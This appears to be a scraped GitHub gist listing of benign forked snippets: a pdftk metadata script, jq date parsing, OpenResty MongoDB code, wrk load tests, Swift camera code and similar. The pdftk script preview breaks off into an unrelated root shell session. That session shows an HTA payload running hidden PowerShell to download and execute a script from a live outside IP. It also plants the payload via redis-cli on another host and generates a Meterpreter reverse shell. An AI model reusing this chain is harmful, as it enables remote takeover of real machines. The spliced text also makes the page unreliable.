Skip to content

Instantly share code, notes, and snippets.

wrerwe
w
erw
rew
rwe
@sysnajar
sysnajar / runwebservicetest.bat
Created August 13, 2019 06:20 — forked from benjamine/runwebservicetest.bat
Call WebService with JSON data using MSXML2.ServerXMLHTTP (Windows Script)
Cscript webservicetest.js
pause
@sysnajar
sysnajar / pdf-meta.bash
Created December 6, 2018 05:30 — forked from jeremyBanks/pdf-meta.bash
A script for quickly editing PDF metadata with pdftk and TextMate.
#!/usr/bin/env bash
subject="$1"
name="$(basename "$subject")"
path="$(dirname "$subject")"
tmp_new="$path/__tmp_new_$name"
tmp_meta="$path/__tmp_meta_$name.txt"
echo "Dumping metadata..." &&
pdftk "$subject" dump_data > "$tmp_meta" &&
echo "Opening metadata..." &&
[email protected]:~# cat hta-psh.txt
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK
#msfconsole
use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
#cat 1.ps1
@sysnajar
sysnajar / gist:62e3679914c606d843ffb1108287d385
Created May 26, 2018 03:05
jq generate Date field from string fields (createDate and createTime)
./list_dopa.lua | jq -c '.data []| {date: (.createDate + .createTime[0:5]) | strptime("%m/%d/%y%H:%M") | mktime , date2: (.createDate + .createTime[0:5]) | strptime("%m/%d/%y%H:%M") | todate, createDate: .createDate, createTime :.createTime, id : ._id}'
@sysnajar
sysnajar / date_fmt.lua
Created May 25, 2018 13:42 — forked from narate/date_fmt.lua
OpenResty (ngx_lua) MongoDB ISODate()
local mongol = require "resty.mongol"
local bson = require "resty.mongol.bson"
local conn = mongol:new()
conn:set_timeout(1000)
local ok, err = conn:connect('127.0.0.1', '27017')
if not ok then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say('Failed : '.. err)
@sysnajar
sysnajar / run.sh
Created March 15, 2018 09:09 — forked from andreas-marschke/run.sh
Small example LUA script for wg/wrk using a tiny JSON implementation(http://regex.info/blog/lua/json) to log test results to a file.
# Example usage with several configuration sets as in multiple connections durations and threads.
# You may go take the rest of the day off while this will run ;)
for duration in 10s 1m 10m 1h
do
for connections in 100 200 300 400 500 600
do
for thread in 1 2 3 4 5
do
wrk -d$duration -c$connections -t$thread -s wrk-script.lua http://localhost:4001/beacon/0001/demo-load-test/test/web
@sysnajar
sysnajar / line.js
Created March 5, 2018 04:07 — forked from chrishulbert/line.js
Reading a line from the console in node.js
console.log ('Input some code:');
process.stdin.resume();
process.stdin.setEncoding('utf8');
process.stdin.once('data', function (someCode) {
process.stdin.pause();
console.log ('Code: ' + someCode);
});
@sysnajar
sysnajar / CameraViewController.swift
Created January 10, 2018 19:23 — forked from MihaelIsaev/CameraViewController.swift
This is the example of camera view for iOS written in Swift
import UIKit
import AVFoundation
class ViewController: UIViewController, AVCaptureMetadataOutputObjectsDelegate {
@IBOutlet weak var myView: UIView!
var session: AVCaptureSession?
var device: AVCaptureDevice?
var input: AVCaptureDeviceInput?
@sysnajar
sysnajar / gist:d24644d9eaab2821dc821fef177c7826
Created January 9, 2018 17:26 — forked from ferbass/gist:3ecc06a8ae992365bf73
Xcode failed to download. Use the Purchases page to try again.
Steps:
Open Terminal.
Run the following command:
defaults write com.apple.appstore ShowDebugMenu -bool true
Relaunch the App Store.
Choose the menu item Debug → Reset Application.